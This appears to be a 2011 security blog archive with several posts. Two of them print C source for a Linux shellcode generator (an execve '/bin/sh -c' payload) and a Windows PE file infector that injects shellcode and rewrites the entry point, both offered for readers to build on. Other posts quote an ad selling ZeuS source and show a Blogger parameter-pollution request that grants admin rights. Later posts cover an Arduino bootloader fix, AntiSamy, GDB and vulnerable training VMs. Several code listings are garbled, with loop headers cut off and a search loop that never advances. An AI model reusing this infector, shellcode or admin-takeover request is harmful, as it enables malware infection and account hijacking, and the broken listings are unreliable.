Wednesday, March 30, 2011

Shell Code Generator

Hi Folks,
today I 'd like to share another educational piece of code: it's a shell code generator. Everybody knows that metasploit generates great payloads with just few commands ( here my old post on the topic and here another interesting one ) but here, I want to show you (and I am thinking to show it up to my future classes) a piece of code from BlackLight to generate shellcodes by injecting dynamic commands from keyboard. The goal is to be able to quick generate a shellcode (or more generally payloads) for Linux x86 platform giving as input to the program a "cmd" and receiving back a perfect generated ( = NULL-Free + within less Bytes possible) shellcode ready to be injected.

So let's see how it works:

#include

#include

#include


char code[] =

"\\x60" /*pusha*/

"\\x31\\xc0" /*xor %eax,%eax*/

"\\x31\\xd2" /*xor %edx,%edx*/

"\\xb0\\x0b" /*mov $0xb,%al*/

"\\x52" /*push %edx*/

"\\x68\\x6e\\x2f\\x73\\x68" /*push $0x68732f6e*/

"\\x68\\x2f\\x2f\\x62\\x69" /*push $0x69622f2f*/

"\\x89\\xe3" /*mov %esp,%ebx*/

"\\x52" /*push %edx*/

"\\x68\\x2d\\x63\\x63\\x63" /*push $0x6363632d*/

"\\x89\\xe1" /*mov %esp,%ecx*/

"\\x52" /*push %edx*/

"\\xeb\\x07" /*jmp 804839a */

"\\x51" /*push %ecx*/

"\\x53" /*push %ebx*/

"\\x89\\xe1" /*mov %esp,%ecx*/

"\\xcd\\x80" /*int $0x80*/

"\\x61" /*popa*/

"\\xe8\\xf4\\xff\\xff\\xff" /*call 8048393 */;



First-of-all, we wanna be sure that a "cmd" (or multiple commands in case of parameters) it's been passed to the main ...


int main (int argc, char **argv) {

int i,len=0;

char *shell,*cmd;


if (!argv[1])

exit(1);


Then, lets find out the total length. (eventually, length of multiple parameters).


for (i=1; i

len += strlen(argv[i]);

len += argc;


Once the "cmd" has been inserted, the program reserves and allocates the "cmd" (or "cmds" in case of parameters) plus a space (\x20) for each parameter, into the memory heap.


cmd = (char*) malloc(len);


for (i=1; i

strcat (cmd,argv[i]);

strcat (cmd,"\x20");

}


Removing the last space. After the last parameter there is no need to having one...


cmd[strlen(cmd)-1]=0;


Now it's time to allocate enough memory into the heap to store the shellcode template (here called "code") and the command line, making the assumption that the "program's name" is bigger then its parameters times 5 (as max).


shell = (char*) malloc( sizeof(code) + (strlen(argv[1]))*5 + 1 );


{I would probably have done ... but anyway.... shell = (char*) malloc( sizeof(code) + strlen(cmd) + 1 );}


Copying the shellcode template:


memcpy (shell,code,sizeof(code));


For each Byte copy into (and after) the shell cmd chars expressed in hex with precision 2. Finally print the entire string in stdout.


for (i=0; i

sprintf (shell,"%s\\x%.2x",shell,cmd[i]);

printf ("%s\n",shell);

}

A great example of a quick shellcode generator !


Monday, March 28, 2011

PE Infector

Hi Folks,
today I want to share the simplest way to infect a Windows Portable Executable file. There are many different ways to implement an infection (or injection) by adding code into the PE free space but the way I am going to describe is probably the simplest and (with respect to _antony) the most primitive one.

The following code shows up how to search into the PE Header finding out the pointer to "raw data" of the .text section:

GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)

{

while(NumberOfSections > 0)

{

if( !strcmpi((char*)pSectionHeader->Name , ".text"))

{

return pSectionHeader->PointerToRawData;

}

}

/* we did not find .text section */

return 0;

}


Later the a simple formula to find out memory space is applied: PointerToRawData - sizeof(code). If in there free space is present then put shellcode and recalculate OEP.


The main function:

int main(int argc , char *argv[])

{

HANDLE hFile;

HANDLE hMap;

char *MappedFile = 0;

DWORD FileSize; /* file size */

DWORD delta;

DWORD SectionOffset; /* .text section offset*/

DWORD func_addr;

IMAGE_DOS_HEADER *pDosHeader;

IMAGE_NT_HEADERS *pNtHeader;

IMAGE_SECTION_HEADER *pSecHeader;


The shell code to be injected !


/* shell code*/

char code[] = "\x6A\x00" /*push 0 */

"\xB8\x00\x00\x00\x00" /*mov eax , func_addr (address will be inserted automaticly)*/

"\xFF\xD0"; /*call eax */


Controls :


if(argc < 2)

{

printf("parameters : ssv.exe [filename] \n");

printf("simple pe infector by _antony \n");

return 0;

}

printf("target: [%s] \n" , argv[1]);


Opening the passed file:


hFile = CreateFile(argv[1] ,

GENERIC_WRITE | GENERIC_READ ,

0 ,

0 ,

OPEN_EXISTING ,

FILE_ATTRIBUTE_NORMAL ,

0);

if(hFile == INVALID_HANDLE_VALUE)

{

printf("[Error]: Can't open File! Error code : %d" , GetLastError());

return -1;

}



Getting file size:


FileSize = GetFileSize(hFile , 0 );

printf("[File Size ]: %d \n", FileSize);

/* mapping file */

hMap = CreateFileMapping(hFile ,

0 ,

PAGE_READWRITE ,

0 ,

FileSize ,

0);

if(hMap == INVALID_HANDLE_VALUE)

{

printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());

CloseHandle(hFile);

return -1;

}

MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);

if(MappedFile == NULL)

{

printf("[Error]: Can't map file! Error code %d\n", GetLastError());

CloseHandle(hFile);

CloseHandle(hMap);

UnmapViewOfFile(MappedFile);

return -1;

}


Mapping Headers:


pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;

pNtHeader = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader->e_lfanew);

pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);


Here it is: getting .text section PointerToRawData


SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader->FileHeader.NumberOfSections);

if(SectionOffset == 0)

{

printf("[Error]: Can't find .text section!\n");

CloseHandle(hFile);

CloseHandle(hMap);

UnmapViewOfFile(MappedFile);

return -1;

}

delta = SectionOffset - sizeof(code);

int i;

BYTE check;

printf("scanning...\n");


looking for free space (0x/00), if enough free space is found then copy shellcode.



for(i=0 ; i<sizeof(code) ; i++)

{

check = *((BYTE*)MappedFile + delta + i);

printf("%X \t", check);

if(check != 0)

{

printf("There is some data...\n");

CloseHandle(hFile);

CloseHandle(hMap);

UnmapViewOfFile(MappedFile);

return -1;

}

}

printf("Space if free , infecting File...\n");


Inserting function addresses dynamically into the shellcode.


func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");

for(i=0 ; i < sizeof(code) ; i++ )

{

if( *(DWORD*)&code[i] == 0x00000B8)

{

*(DWORD*)(code+i+1)= func_addr;

}

}


Setting up new OEP.


printf("Old Entry Point : %08X \n" , pNtHeader->OptionalHeader.AddressOfEntryPoint);

memcpy(MappedFile+delta , code , sizeof(code));


since delta is PointerToRawData - sizeof(code), it could be added as new OEP.



pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;

printf("File infected!\n");

printf("New Entry Point: %08X \n" , delta);


CloseHandle(hFile);

CloseHandle(hMap);

UnmapViewOfFile(MappedFile);

return 0;

}


Again another great listing (thanks _antony for sharing it) to start with PE infections. From this piece of code you might be able to build your own little injector framework, enabling multiple shellcode, refining the the OEP generation (and respectively the free space function), adding variable execution parameters, and whatever you might imagine. Enjoy this great example !

Thursday, March 24, 2011

ZeuS For Sale ?

I've been working on Zeus Malware for a while ( lets see here , here and here ) but I've never known that its source code is now for sale ! Transcript of the post:

+------------------------------------+

Hey!

Selling full source code of the latest Zeus Bot from author for cheap price. I do not sell bins.

|SCREENSHOT FOR THE LULZ

|PAYMENT
LR / WMZ / WU (Any verified escrow service accepted)
|CONTACT INFA
ICQ 60[removed]9345
JABBER ioo[at]ja[removed].com

PS. Awaiting for admin verification...
+------------------------------------+


This is, on one hand good because researchers could take a closer look to what it does and how it has been so spread, on the other hand it could be the base for a enhanced Zeus, which of course is not a good news at all. In fact we wont forget Murofet: the Zeus's "ancestor" (or son ?).


If it's true is going to be a huge news but as the CSIS said, this is a very much "AS IS" news, no code have been technically verified, BUT if you guys know where to grab such a codes, shut me comments please.

Tuesday, March 22, 2011

Burp v1.4: Preview

Hi folks,
today I suggest this good reading from PortSwigger. They show up new features of Burp Suite v1.4 comparing site maps.



The first broad area of new functionality in Burp v1.4 is various features to help test access controls. Fully automated tools generally do a terrible job of finding access control vulnerabilities, because they do not understand the meaning or context of the functionality that is being tested. For example, an application might contain two search functions - one that returns extracts from recent news articles, and another that returns sensitive details about registered users. These functions might be syntactically identical - what matters when evaluating them is the purpose of each function and the nature of the information involved. These factors are way beyond the wit of today's automated tools.


They promised more blogging on the topic, I really am curious to see what next Burp features have been implemented !

Monday, March 21, 2011

Google Feature or Bug ?

None's perfect, even google isn't ! Thanks to REz (CeSeNA group's guy) I found out this interesting feature (or bug ?).

Let's try it by yourself, this is the vulnerable link:

http://www.google.com/custom?hl=en&cof=L%3Ahttps://lh5.googleusercontent.com/-EvyPBS_l_xs/AAAAAAAAAAI/AAAAAAAAAAA/zPEV7I5plmE/photo.jpg?sz=200&q=http%3A%2F%2Fwww.marcoramilli.com%2F&btnG=Search

The cof variable seems to be not filtered. Even the best web company on the web can fall on common vulnerabilities.

Here TheHackerNews report.


UPDATE-1:
If you think like Anonymous:

"There's nothing weird about the "col" argument. It's there to let users add a logo to the search page, when they embed a site search on their own page. It's restricted to a specific Google domain, and there's no way to break out of the src attribute."

Please try by yourself before writing insulting comments.....

Here the link is:

http://www.google.com/custom?hl=en&cof=L%3Ahttp://profile.ak.fbcdn.net/hprofile-ak-snc4/41644_100001697891319_8196115_n.jpg&q=http%3A%2F%2Fwww.marcoramilli.com%2F&btnG=Search

As you can see: profile.ak.fbcdn.net is outside specific google domain.

Again, I have not changed (or personalized) the Google Logo. It's still there. BTW I am not saying that this is a huge Google Bug and that you can exploit or whatever... I am just saying that you can insert through "cof" and "L" something weird, at least to me... is this a feature ? Well, cool I'm fine. Please stop to be offensive hiding behind Anonymity.


UPDATE-2:
Many emails from forced me to change the title from Google XSS to Google Feature or Bug ?


Thursday, March 17, 2011

Yet Another ClickJacking Attempt !

Hi folks,
yet another quick 'n dirty post on ClickJackign Attempts for personal memories. If you are interested on ClickJacking techniques I strongly suggest this reading (Frightened by Links, Franco Callegati and Marco Ramilli).

The following image describes another great Click Jacking attempt found out in http://japan20111.tk.



As you see in the top left corner a little iFrame is loaded ;). It includes a main.php (unfortunately right now has been removed) which is (was) able to load uncontrolled content. The front-end represents a youtube page (http://japan20111.tk/widget.php).



And an external JavaScript is loaded.


Easy, but effective, like every ClickJacking attempts is ... For more complete ClickJacking analysis: here and here

Monday, March 14, 2011

Hot to Gain Administrative Privileges on any Blogger

Last night I received an email from Nir, who wanted to share with me its great work on the 1337$ Google Reward Program he completed.

The vulnerability he found could be used by an attacker to get administrator privilege over any blogger account thanks to the HTTP Parameter Pollution vulnerability in Blogger that allows an attacker to add himself as an administrator on the victim’s blogger account.

Nir exploited a vulnerability due to the inconsistency of parameter evaluation and parameter elaboration as the volloging attack vector shows:


security_token=attackertoken&blogID=attackerblogidvalue&
blogID=victimblogidvalue&authorsList=goldshlager19test%40gmail.com
(attacker email)&ok=Invite

There are two blogid values in the post request (blogID=attackerblogidvalue&blogID=victimblogidvalue)


The server checks the first blogid value and executes the second blogid value: the attacker one.

In the same way Nir injects the memberID gaining admin privileges.
Here the great video he made.





Well, what to say now.... Thank you for sharing and for have waited my own post instead of put it by yourself ! ;)

Friday, March 11, 2011

Arduino UNO bootloader fix. Aka 30k upload limit fixed

It has been awhile since I write anything about Arduino. Today I want to show how to flash the Arduino UNO boot-loader in order to fix:

1) PWM timer initialization fixed (this was also fixed in the core.)
2) 30k upload limit fixed.
3) zero register initialization (Sketch amnesia) fixed.


This post is structured as a tutorial. To program an ATMEL you need an In System Programmer ( ISP ). You might find cheap ISP on ebay or walking through Fry's. Since my research group has almost 10 Arduino boards we are going to configure an Arduino to act as a ISP.

Our configuration are the following:
1) Arduino Duemilanove. It will behave as ISP.
2) A brand new Arduino UNO. It is going to be flashed.
3) Some wires.

Step 1
Download the westfw's sketch from here.
This sketch allows an Arduino to program a new version of the optiboot bootloader onto another Arduino Uno. Since Arduino UNO comes by default with optiboot, you do not need to firstly install optiboot on your UNO.

Step 2
Open the downloaded sketch (optifix.pde). Select the Arduino Duemilanove board in TOOLS > BOARDS



Now upload the optifix on your Arduino 2009 by clicking on the "upload" icon.


Step 3

Disconnect your Arduino Duemilanove from USB cable and connect your Arduino Duemilanove to your brand new Arduino UNO as reported in the following schematics.




Step 4
Now plug your Arduino Duemilanove to your PC through the USB cable. Lets open the Serial Monitor by clicking on the "Serial Monitor" icon on Arduino IDE. Set the connection baud rate to 19200. The sketch automatically detects the Arduino UNO boards and starts to patch the bootloader. At the end it asks if you wan to patch another Arduino UNO or if you want to finish.


Once the logs on the Serial Monitor say that your Arduino UNO has been patched you are free to unplug the USB cable and the Arduino UNO from Arduino Duemilanove.

You have a fully working Arduino UNO with a patched Optiboot !! It really works like a charm ;)







OWASP antisamy

Another great project from OWASP: AntiSamy. It is a collection of APIs for safely allowing users to supply their own HTML and CSS without exposing the site to XSS vulnerabilities.


Fig.1 AntiSamy DEMO.


The methodology of AntiSamy is unique in that it is built on a positive security model in both the format of the HTML document and the content within the document. It's also unique in that it attempts to help the user tune their input to pass validation in a cooperative spirit, rather than treating users as potential attackers which is how all contemporary security mechanisms work

Philosophically, AntiSamy is a departure from contemporary security mechanisms. Generally, the security mechanism and user have a communication that is virtually one way, for good reason. Letting the potential attacker know details about the validation is considered unwise as it allows the attacker to "learn" and "recon" the mechanism for weaknesses. These types of information leaks can also hurt in ways you don't expect. A login mechanism that tells the user, "Username invalid" leaks the fact that a user by that name does not exist. A user could use a dictionary or phone book or both to remotely come up with a list of valid usernames. Using this information, an attacker could launch a brute force attack or massive account lock denial-of-service. We get that.

Wednesday, March 9, 2011

GDB Hacking Manual


Today during my daily blog tour I found out an amazing GDB hacking guide. The difference between a hacking guide and an user manual is in the way they are represented (or written). A user manual is for totally newbies, for people who have just been introduced to the topic. The user manual is much more complete if compared to an hacking guide which aims to sum-up highlights (or the most used functions) without explaining the "why" and the "when" you should use such a functions. Basically is a list of useful commands (or options): it's supposed you know how to use them. I personally prefer IDA Pro over every debuggers, not really for particular reasons (well, there are plenty reasons because I prefer IDA, but I wont fall into comparing products ) but just because I started with IDA and I never felt the need to change debugger. This doesn't mean that IDA is always the best solution, in fact GDB is a great and widely used debugger. It's mainly command-line based (as the previous picture shows) but many unofficial GUI have been developed over time (as the following picture shows) bringing GDB intuitive and easy to use as IDA is.






Just for memories

Wednesday, March 2, 2011

Hacking Training Center.

From time to time in the ethical hacking communities comes up the question: "Where can we train ?". Many different sites offer greats training challenges but what is the one I am looking for ?What the difference between them ?




Thanks to Giacomo (one of the CeSeNA boys), who pointed me out this website,I am now able to write a pretty complete list of hacking "training centers" (I like to call them in this way), here, on my blog .. just for personal memories.

Holynix
Similar to the de-ice Cd’s and pWnOS, holynix is an ubuntu server vmware image that was deliberately built to have security holes for the purposes of penetration testing. More of an obstacle course than a real world example.

http://pynstrom.net/index.php?page=holynix.php

WackoPicko
WackoPicko is a website that contains known vulnerabilities. It was first used for the paper Why Johnny Can’t Pentest: An Analysis of Black-box Web Vulnerability Scanners found:

http://cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf
https://github.com/adamdoupe/WackoPicko

De-ICE PenTest LiveCDs
The PenTest LiveCDs are the creation of Thomas Wilhelm, who was transferred to a penetration test team at the company he worked for. Needing to learn as much about penetration testing as quickly as possible, Thomas began looking for both tools and targets. He found a number of tools, but no usable targets to practice against. Eventually, in an attempt to narrow the learning gap, Thomas created PenTest scenarios using LiveCDs.

http://de-ice.net/hackerpedia/index.php/De-ICE.net_PenTest_Disks

Metasploitable
Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.

http://blog.metasploit.com/2010/05/introducing-metasploitable.html

Owaspbwa
Open Web Application Security Project (OWASP) Broken Web Applications Project, a collection of vulnerable web applications.

http://code.google.com/p/owaspbwa/

Web Security Dojo
A free open-source self-contained training environment for Web Application Security penetration testing. Tools + Targets = Dojo

http://www.mavensecurity.com/web_security_dojo/

Lampsecurity
LAMPSecurity training is designed to be a series of vunlerable virtual machine images along with complementary documentation designed to teach linux,apache,php,mysql security.

http://sourceforge.net/projects/lampsecurity/files/

Damn Vulnerable Web App (DVWA)
Damn Vulnerable Web App is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

http://www.randomstorm.com/dvwa-security-tool.php

Hacking-Lab
This is the Hacking-Lab LiveCD project. It is currently in beta stadium. The live-cd is a standardized client environment for solving our Hacking-Lab wargame challenges from remote.

http://media.hacking-lab.com/largefiles/livecd/v5.39/livecd-iso-image/hl05.39.iso

Moth
Moth is a VMware image with a set of vulnerable Web Applications and scripts, that you may use for:

http://www.bonsai-sec.com/en/research/moth.php

Damn Vulnerable Linux (DVL)
Damn Vulnerable Linux is everything a good Linux distribution isn’t. Its developers have spent hours stuffing it with broken, ill- configured, outdated, and exploitable software that makes it vulnerable to attacks. DVL isn’t built to run on your desktop – it’s a learning tool for security students.

http://www.damnvulnerablelinux.org

pWnOS
pWnOS is on a “VM Image”, that creates a target on which to practice penetration testing; with the “end goal” is to get root. It was designed to practice using exploits, with multiple entry points

http://www.backtrack-linux.org/forums/backtrack-videos/2748-%5Bvideo%5D-attacking pwnos.html

http://www.krash.in/bond00/pWnOS%20v1.0.zip

Virtual Hacking Lab
A mirror of deliberately insecure applications and old softwares with known vulnerabilities. Used for proof-of-concept /security training/ learning purposes. Available in either virtual images or live iso or standalone formats.

http://sourceforge.net/projects/virtualhacking/files/

Badstore
Badstore.net is dedicated to helping you understand how hackers prey on Web application vulnerabilities, and to showing you how to reduce your exposure.

http://www.badstore.net/

Katana
Katana is a portable multi-boot security suite which brings together many of today’s best security distributions and portable applications to run off a single Flash Drive. It includes distributions which focus on Pen-Testing, Auditing, Forensics, System Recovery, Network Analysis, and Malware Removal. Katana also comes with over 100 portable Windows applications; such as Wireshark, Metasploit, NMAP, Cain & Able, and many more.

www.hackfromacave.com/katana.html


If we forgot something, let me know: lets write your comment. Thanks